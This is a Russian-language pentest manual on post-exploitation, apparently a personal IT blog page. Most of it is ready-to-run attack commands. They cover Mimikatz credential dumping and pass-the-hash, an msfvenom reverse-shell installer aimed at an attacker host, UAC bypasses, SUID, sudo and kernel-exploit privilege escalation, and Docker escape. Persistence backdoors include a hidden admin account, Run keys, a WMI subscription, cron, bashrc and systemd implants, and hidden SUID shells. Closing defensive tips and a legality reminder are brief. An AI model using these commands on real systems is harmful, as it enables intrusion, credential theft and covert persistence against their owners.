The book of Magnus

IT-заметки и знания

Основы пентеста. Методичка по пост-эксплуатации

Tags = [ Post_exploitation, Pentest_base ]

После успешной компрометации целевой системы наступает этап пост-эксплуатации, который включает:

  • Закрепление в системе (установка бэкдоров)
  • Повышение привилегий
  • Сбор учетных данных
  • Lateral movement (перемещение по сети)
  • Эксфильтрацию данных

Данная методичка охватывает основные техники и инструменты для выполнения этих задач.

Бэкдоры

Определение

Бэкдор (backdoor) — программа или метод скрытого удаленного администрирования, предоставляющий несанкционированный доступ к скомпрометированной системе.

Основные характеристики бэкдора

  • Скрытность — сложно обнаружить
  • Многократное использование — можно использовать повторно
  • Отрицаемость — выглядит как ошибка конфигурации
  • Защита секретом — активируется только при знании специального триггера
  • Защита от компрометации — сложно определить историю использования
  • Уникальность — сложно повторить в другой системе

Типы бэкдоров

1. Аппаратные бэкдоры

Встраиваются на уровне оборудования:

  • Модифицированная прошивка BIOS/UEFI

    • Загружаются до запуска ОС
    • Не обнаруживаются антивирусами
    • Не удаляются переустановкой ОС
    • Пример: вредоносные модули на базе Coreboot/SeaBIOS
  • Вредоносные компоненты

    • Модифицированные сетевые карты
    • Зараженные USB-контроллеры
    • Компрометированные HDD/SSD прошивки

Защита:

  • Использование trusted boot
  • Регулярная проверка прошивок
  • Закупка оборудования у проверенных поставщиков

2. Программные бэкдоры

Устанавливаются на уровне ОС или приложений:

Способы доставки:

  • Вложения в email
  • Эксплуатация уязвимостей ПО
  • Социальная инженерия
  • Троянизированные программы

Типы соединения:

  1. Bind Shell (клиент-сервер)

    • Бэкдор прослушивает порт
    • Атакующий подключается к жертве
    • Может блокироваться файрволом
  2. Reverse Shell (обратное подключение)

    • Бэкдор сам подключается к атакующему
    • Обходит большинство файрволов
    • Наиболее популярный метод
  3. Middle Connect (через прокси-сервер)

    • Обмен данными через промежуточный сервер
    • Усложняет обнаружение
    • Требует инфраструктуры

Примеры современных бэкдоров:

  • Cobalt Strike Beacon
  • Metasploit Meterpreter
  • Empire/Starkiller
  • Sliver C2
  • Mythic C2

Повышение привилегий в Windows

Общие принципы

Windows требует административных привилегий для выполнения критичных операций. Повышение привилегий — процесс получения прав SYSTEM или администратора из непривилегированной учетной записи.

1. Автоматизированное сканирование уязвимостей

PowerUp (PowerSploit)

# Загрузка модуля
Import-Module .\PowerUp.ps1

# Запуск всех проверок
Invoke-AllChecks

# Выполнение найденных эксплоитов
Invoke-AllChecks | Out-File powerup_output.txt

PrivescCheck

Современная замена PowerUp:

# Загрузка
. .\PrivescCheck.ps1

# Базовая проверка
Invoke-PrivescCheck

# Расширенная проверка
Invoke-PrivescCheck -Extended

# Экспорт в HTML
Invoke-PrivescCheck -Report PrivescCheck.html -Format HTML

WinPEAS

# Запуск проверки
winPEASx64.exe

# Быстрая проверка
winPEASx64.exe fast

# Детальная проверка
winPEASx64.exe systeminfo

2. Поиск учетных данных

Охота за паролями в системе

Unattended Installations

Файлы автоматической установки могут содержать пароли:

# Поиск файлов Unattend
dir /s C:\Windows\Panther\Unattend.xml
dir /s C:\Windows\System32\sysprep\unattend.xml

# Поиск в реестре
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s

Group Policy Preferences (GPP)

До 2014 года Microsoft хранил пароли в GPP с известным ключом шифрования:

# Поиск cpassword в SYSVOL
findstr /S /I cpassword \\domain.local\sysvol\*.xml

# Расшифровка (используя gpp-decrypt)
gpp-decrypt <encrypted_password>

Метод устарел, но встречается на старых системах.

Поиск credentials в памяти

Mimikatz

# Запуск
mimikatz.exe

# Повышение привилегий
privilege::debug

# Дамп учетных данных
sekurlsa::logonpasswords

# Дамп хешей SAM
lsadump::sam

# Pass-the-Hash
sekurlsa::pth /user:Administrator /domain:DOMAIN /ntlm:hash /run:cmd

Pypykatz (альтернатива на Python):

pypykatz lsa minidump lsass.dmp

Поиск сохраненных паролей

# Сохраненные учетные данные Windows
cmdkey /list

# Использование сохраненных credentials
runas /savecred /user:DOMAIN\Admin cmd.exe

# Поиск в конфигурационных файлах
findstr /si password *.xml *.ini *.txt *.config

3. Проверка разрешений

AlwaysInstallElevated

Политика, позволяющая устанавливать MSI пакеты с правами SYSTEM:

# Проверка наличия уязвимости
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

Если оба ключа установлены в 1, создаем malicious MSI:

# Kali: Создание вредоносного MSI
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f msi -o evil.msi

# Windows: Установка
msiexec /quiet /qn /i evil.msi

Неквотированные пути служб (Unquoted Service Paths)

Windows интерпретирует пути с пробелами некорректно:

C:\Program Files\Some Folder\service.exe

# Windows пытается запустить в порядке:
C:\Program.exe
C:\Program Files\Some.exe
C:\Program Files\Some Folder\service.exe

Поиск уязвимых служб:

# CMD
wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "c:\windows\\" | findstr /i /v """

# PowerShell
Get-WmiObject -Class Win32_Service | Where-Object {$_.PathName -notlike '*"*' -and $_.PathName -like '* *'} | Select Name, PathName, StartMode

Эксплуатация:

  1. Проверить права на запись в директорию
  2. Поместить вредоносный exe на путь
  3. Перезапустить службу или систему
# Проверка прав
icacls "C:\Program Files\Vulnerable App"

# Если есть права на запись
copy payload.exe "C:\Program Files\Common.exe"

# Перезапуск службы
sc stop VulnerableService
sc start VulnerableService

4. Манипуляции со службами

Слабые разрешения на службы

Поиск служб с изменяемой конфигурацией:

# AccessChk (Sysinternals)
accesschk.exe -uwcqv "Authenticated Users" * /accepteula
accesschk.exe -uwcqv "Users" * /accepteula

# PowerShell
Get-Acl HKLM:\System\CurrentControlSet\Services\* | Format-List

Изменение пути к исполняемому файлу службы:

# Просмотр конфигурации службы
sc qc VulnerableService

# Изменение пути
sc config VulnerableService binPath= "C:\Temp\payload.exe"

# Изменение учетной записи
sc config VulnerableService obj= ".\LocalSystem" password= ""

# Перезапуск
sc stop VulnerableService
sc start VulnerableService

Слабые разрешения на файлы служб

Если исполняемый файл службы доступен для записи:

# Проверка прав
icacls "C:\Program Files\Service\service.exe"

# Замена файла
copy /Y payload.exe "C:\Program Files\Service\service.exe"

# Перезапуск службы
sc stop ServiceName
sc start ServiceName

5. Планировщик задач

Использование AT (устарело в Windows 10+):

# Запуск команды в 14:00 с правами SYSTEM
at 14:00 /interactive cmd.exe

Использование schtasks:

# Создание задачи
schtasks /create /tn "WindowsUpdate" /tr "C:\Temp\payload.exe" /sc onstart /ru SYSTEM

# Запуск задачи
schtasks /run /tn "WindowsUpdate"

# Удаление задачи
schtasks /delete /tn "WindowsUpdate" /f

6. Эксплуатация уязвимостей ядра

Sherlock - поиск уязвимостей

# Загрузка
Import-Module .\Sherlock.ps1

# Поиск всех уязвимостей
Find-AllVulns

# Поиск конкретной уязвимости
Find-MS16032

Проверяемые уязвимости:

  • MS10-015 (KiTrap0D)
  • MS10-092 (Task Scheduler)
  • MS13-053 (NTUserMessageCall)
  • MS13-081 (TrackPopupMenuEx)
  • MS14-058 (TrackPopupMenu)
  • MS15-051 (ClientCopyImage)
  • MS15-078 (Font Driver)
  • MS16-016 (WebDAV)
  • MS16-032 (Secondary Logon Handle)
  • MS16-034 (Kernel Driver)

Современные техники

PrintNightmare (CVE-2021-1675)

# Использование через Metasploit
use exploit/windows/dcerpc/cve_2021_1675_printnightmare
set RHOSTS <target>
set LHOST <attacker>
exploit

HiveNightmare/SeriousSAM (CVE-2021-36934)

# Копирование SAM и SYSTEM
copy %WINDIR%\System32\config\SAM C:\Temp\SAM
copy %WINDIR%\System32\config\SYSTEM C:\Temp\SYSTEM

# Извлечение хешей (на Kali)
impacket-secretsdump -sam SAM -system SYSTEM LOCAL

7. Bypass UAC

UACME

Набор методов обхода UAC:

# Использование метода #23 (fodhelper)
Akagi64.exe 23 C:\Temp\payload.exe

# Использование метода #33 (sdclt)
Akagi64.exe 33 C:\Temp\payload.exe

FodHelper (ручной обход)

# Создание ключа реестра
New-Item "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Force
New-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "DelegateExecute" -Value "" -Force
Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "(default)" -Value "cmd.exe /c C:\Temp\payload.exe" -Force

# Запуск fodhelper
Start-Process "C:\Windows\System32\fodhelper.exe"

# Очистка
Remove-Item "HKCU:\Software\Classes\ms-settings\" -Recurse -Force

8. Token Manipulation

Potato атаки (устарели, но встречаются на старых системах)

Hot Potato (MS16-075)

# Создание пользователя
potato.exe -ip 192.168.1.100 -cmd "net user hacker Password123! /add" -disable_exhaust true
potato.exe -ip 192.168.1.100 -cmd "net localgroup Administrators hacker /add" -disable_exhaust true

Rotten Potato

# Через Metasploit
use incognito
list_tokens -u
impersonate_token "NT AUTHORITY\SYSTEM"

Juicy Potato (Windows Server 2016/2019)

JuicyPotato.exe -l 1337 -p C:\Temp\payload.exe -t * -c {CLSID}

Printspoofer (Windows 10/Server 2019+)

PrintSpoofer.exe -i -c cmd

9. Компиляция эксплоитов

На Kali Linux

# 32-bit
i686-w64-mingw32-gcc exploit.c -o exploit32.exe -lws2_32

# 64-bit
x86_64-w64-mingw32-gcc exploit.c -o exploit64.exe -lws2_32

На Windows

# Поиск компилятора
where cl.exe

# Компиляция
cl.exe /Fe:exploit.exe exploit.c

10. Получение SYSTEM из администратора

PsExec

# Sysinternals PsExec
psexec.exe -i -s cmd.exe

# Metasploit PsExec
use exploit/windows/local/ps_exec
set SESSION 1
exploit

Планировщик

sc create SystemShell binpath= "cmd.exe /k start" type= own type= interact
sc start SystemShell

Повышение привилегий в Linux

1. Автоматизированное сканирование

LinPEAS

# Загрузка
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh

# Запуск
chmod +x linpeas.sh
./linpeas.sh

# С выводом в файл
./linpeas.sh | tee linpeas_output.txt

LinEnum

# Загрузка
wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh

# Запуск
chmod +x LinEnum.sh
./LinEnum.sh

# Детальный вывод
./LinEnum.sh -t

Linux Exploit Suggester

# Загрузка
wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh

# Запуск
chmod +x linux-exploit-suggester.sh
./linux-exploit-suggester.sh

2. Проверка ядра на уязвимости

# Версия ядра
uname -a
cat /proc/version

# Дистрибутив
cat /etc/issue
cat /etc/*-release
lsb_release -a

Известные уязвимости ядра:

  • DirtyCOW (CVE-2016-5195) - kernel 2.6.22 - 4.8.3
  • Dirty Pipe (CVE-2022-0847) - kernel 5.8 - 5.16.11
  • PwnKit (CVE-2021-4034) - PolicyKit
  • Baron Samedit (CVE-2021-3156) - sudo < 1.9.5p2

Эксплуатация DirtyCOW:

# Компиляция
gcc -pthread dirty.c -o dirty -lcrypt

# Запуск
./dirty password

# Вход под новым пользователем
su firefart

3. SUID/SGID файлы

Файлы с SUID запускаются с правами владельца:

# Поиск SUID файлов
find / -perm -4000 -type f 2>/dev/null
find / -perm -u=s -type f 2>/dev/null

# Поиск SGID файлов
find / -perm -2000 -type f 2>/dev/null
find / -perm -g=s -type f 2>/dev/null

# Поиск SUID и SGID
find / -perm -6000 -type f 2>/dev/null

Эксплуатация известных SUID бинарников:

GTFOBins - база знаний по эксплуатации: https://gtfobins.github.io/

Примеры:

# find
find . -exec /bin/sh -p \; -quit

# vim
vim -c ':!/bin/sh'

# nmap (старые версии)
nmap --interactive
!sh

# python
python -c 'import os; os.execl("/bin/sh", "sh", "-p")'

# perl
perl -e 'exec "/bin/sh";'

# awk
awk 'BEGIN {system("/bin/sh")}'

# less
less /etc/profile
!/bin/sh

# cp (создание SUID shell)
cp /bin/bash /tmp/bash
chmod +s /tmp/bash
/tmp/bash -p

4. Sudo привилегии

# Проверка sudo прав
sudo -l

# Список без пароля
sudo -l -n

Эксплуатация команд с sudo:

# Если разрешен sudo vim
sudo vim -c '!sh'

# Если разрешен sudo find
sudo find . -exec /bin/sh \; -quit

# Если разрешен sudo python
sudo python -c 'import pty;pty.spawn("/bin/bash")'

# Если разрешен sudo /bin/bash
sudo /bin/bash

# Если разрешен sudo /bin/sh
sudo /bin/sh

# Если разрешен sudo nano
sudo nano
# Ctrl+R, Ctrl+X
# reset; sh 1>&0 2>&0

Sudo CVE-2019-14287

Если sudo -l показывает (ALL, !root):

# Эксплуатация
sudo -u#-1 /bin/bash

5. Capabilities

Linux capabilities позволяют давать процессам привилегии без полного root:

# Поиск файлов с capabilities
getcap -r / 2>/dev/null

# Пример вывода
/usr/bin/python3.8 = cap_setuid+ep

Эксплуатация:

# Python с cap_setuid
/usr/bin/python3.8 -c 'import os; os.setuid(0); os.system("/bin/bash")'

# tar с cap_dac_read_search (чтение любых файлов)
tar cvf shadow.tar /etc/shadow
tar -xvf shadow.tar
cat etc/shadow

6. Cron задачи

# Проверка системных cron задач
cat /etc/crontab
ls -la /etc/cron.*
ls -la /var/spool/cron/crontabs/

# Проверка пользовательских cron
crontab -l

Эксплуатация:

Если скрипт в cron:

  1. Запускается от root
  2. Доступен на запись
# Проверка прав
ls -la /path/to/script.sh

# Если есть права на запись
echo 'chmod +s /bin/bash' >> /path/to/script.sh

# Ждем выполнения задачи
# Запускаем SUID bash
/bin/bash -p

7. Слабые права на файлы

Проверка /etc/passwd

# Если есть права на запись
ls -la /etc/passwd

# Генерация пароля
openssl passwd -1 -salt evil password

# Добавление пользователя
echo 'evil:$1$evil$password_hash:0:0:root:/root:/bin/bash' >> /etc/passwd

# Вход
su evil

Проверка /etc/shadow

# Если есть права на чтение
cat /etc/shadow

# Копирование для взлома
cat /etc/shadow > /tmp/shadow.txt

# На Kali
john --wordlist=/usr/share/wordlists/rockyou.txt shadow.txt
hashcat -m 1800 -a 0 shadow.txt rockyou.txt

8. Writable PATH

Если PATH включает директории с правами на запись:

# Проверка PATH
echo $PATH

# Проверка прав
ls -la /usr/local/bin

# Создание вредоносного файла
cd /writable/path/dir
echo '#!/bin/bash' > ls
echo 'chmod +s /bin/bash' >> ls
chmod +x ls

# Если другой пользователь запустит 'ls'
/bin/bash -p

9. NFS share без root_squash

# На целевой машине
cat /etc/exports

# Если видим no_root_squash
/tmp *(rw,no_root_squash)

# На атакующей машине
mkdir /tmp/nfs
mount -t nfs target:/tmp /tmp/nfs
cd /tmp/nfs

# Создание SUID shell
cp /bin/bash .
chmod +s bash

# На целевой машине
/tmp/bash -p

10. Kernel Exploits

Dirty Pipe (CVE-2022-0847)

# Проверка версии
uname -r
# Уязвимы: 5.8 - 5.16.11, 5.15.25, 5.10.102

# Компиляция
gcc dirty_pipe.c -o exploit

# Эксплуатация
./exploit /etc/passwd 1 ootz:
su rootz

PwnKit (CVE-2021-4034)

# Компиляция
gcc pwnkit.c -o exploit

# Запуск
./exploit

11. Docker escape

Если пользователь в группе docker:

# Проверка
id
groups

# Escape через mount
docker run -v /:/mnt --rm -it alpine chroot /mnt sh

# Создание SUID shell
docker run -v /:/mnt --rm -it alpine sh
cd /mnt
chmod +s bin/bash
exit

# На хосте
/bin/bash -p

12. Wildcard injection

Если скрипт использует * с командами:

# Пример уязвимого скрипта от root:
#!/bin/bash
cd /backup
tar czf backup.tar.gz *

# Эксплуатация через создание файлов
cd /backup
echo 'chmod +s /bin/bash' > evil.sh
chmod +x evil.sh
echo "" > "--checkpoint=1"
echo "" > "--checkpoint-action=exec=sh evil.sh"

# После выполнения tar
/bin/bash -p

Закрепление в системе

Windows

1. Добавление пользователя

# Создание пользователя
net user hacker Password123! /add

# Добавление в администраторы
net localgroup Administrators hacker /add

# Скрытие пользователя
reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v hacker /t REG_DWORD /d 0 /f

2. Persistence через реестр

# Run key
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v Updater /t REG_SZ /d "C:\Windows\Temp\payload.exe" /f

# RunOnce
reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v Updater /t REG_SZ /d "C:\Windows\Temp\payload.exe" /f

# Startup folder
copy payload.exe "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\"

3. Scheduled Tasks

# Задача при входе пользователя
schtasks /create /tn "WindowsUpdate" /tr "C:\Windows\Temp\payload.exe" /sc onlogon /ru System

# Задача каждый час
schtasks /create /tn "SecurityUpdate" /tr "C:\Windows\Temp\payload.exe" /sc hourly /ru System

4. Службы

# Создание службы
sc create MaliciousService binPath= "C:\Windows\Temp\payload.exe" start= auto
sc description MaliciousService "Windows Security Update Service"

# Запуск
sc start MaliciousService

5. WMI Event Subscription

# Создание фильтра событий
$Filter = Set-WmiInstance -Namespace root\subscription -Class __EventFilter -Arguments @{
    Name = "SystemFilter";
    EventNamespace = "root\cimv2";
    QueryLanguage = "WQL";
    Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
}

# Создание consumer
$Consumer = Set-WmiInstance -Namespace root\subscription -Class CommandLineEventConsumer -Arguments @{
    Name = "SystemConsumer";
    CommandLineTemplate = "C:\Windows\Temp\payload.exe"
}

# Связывание
Set-WmiInstance -Namespace root\subscription -Class __FilterToConsumerBinding -Arguments @{
    Filter = $Filter;
    Consumer = $Consumer
}

Linux

1. SSH ключи

# Добавление публичного ключа
mkdir -p ~/.ssh
echo 'ssh-rsa AAAAB3...' >> ~/.ssh/authorized_keys
chmod 600 ~/.ssh/authorized_keys

2. Cron задачи

# Добавление задачи
(crontab -l 2>/dev/null; echo "@reboot /tmp/.backdoor") | crontab -

# Через файл
echo "@reboot /tmp/.backdoor" > /var/spool/cron/crontabs/root

3. .bashrc / .profile

# Добавление в .bashrc
echo '/tmp/.backdoor &' >> ~/.bashrc

# Для всех пользователей
echo '/tmp/.backdoor &' >> /etc/bash.bashrc

4. Systemd service

# Создание сервиса
cat > /etc/systemd/system/malicious.service << EOF
[Unit]
Description=System Update Service

[Service]
Type=simple
ExecStart=/tmp/.backdoor
Restart=always

[Install]
WantedBy=multi-user.target
EOF

# Включение
systemctl enable malicious.service
systemctl start malicious.service

5. SUID backdoor

# Создание SUID shell
cp /bin/bash /tmp/.hidden
chmod +s /tmp/.hidden

# Запуск
/tmp/.hidden -p

Рекомендации по безопасности

Для защиты

  1. Регулярные обновления

    • Устанавливать все security патчи
    • Обновлять ядро и критичное ПО
  2. Принцип наименьших привилегий

    • Не давать sudo всем подряд
    • Ограничивать SUID файлы
    • Использовать непривилегированных пользователей
  3. Мониторинг системы

    • Логирование всех команд sudo
    • Мониторинг изменений файлов
    • Использование SIEM систем
  4. Защита от lateral movement

    • Сегментация сети
    • Ограничение WinRM/SSH
    • Использование 2FA
  5. Безопасная конфигурация

    • Отключить ненужные службы
    • Правильная настройка разрешений
    • Регулярный аудит системы

Для тестировщиков

  1. Легальность

    • Получить письменное разрешение
    • Работать в рамках scope
    • Документировать все действия
  2. Осторожность

    • Делать backups перед изменениями
    • Тестировать эксплоиты на тестовых системах
    • Избегать DoS атак
  3. Документация

    • Записывать все команды
    • Делать скриншоты
    • Создавать подробные отчеты
  4. Очистка

    • Удалять backdoors после теста
    • Восстанавливать изменения
    • Информировать о найденных уязвимостях

Полезные ресурсы

Инструменты

Windows:

Linux:

База знаний

Практика


Заключение

Пост-эксплуатация — критический этап пентеста, требующий:

  • Глубоких знаний систем
  • Понимания методов защиты
  • Аккуратности и осторожности
  • Соблюдения этических норм

Данная методичка покрывает основные техники, но безопасность — постоянно развивающаяся область. Следите за новыми уязвимостями, инструментами и методами защиты.

Важно: Используйте полученные знания только для легального тестирования безопасности с письменного разрешения владельцев систем.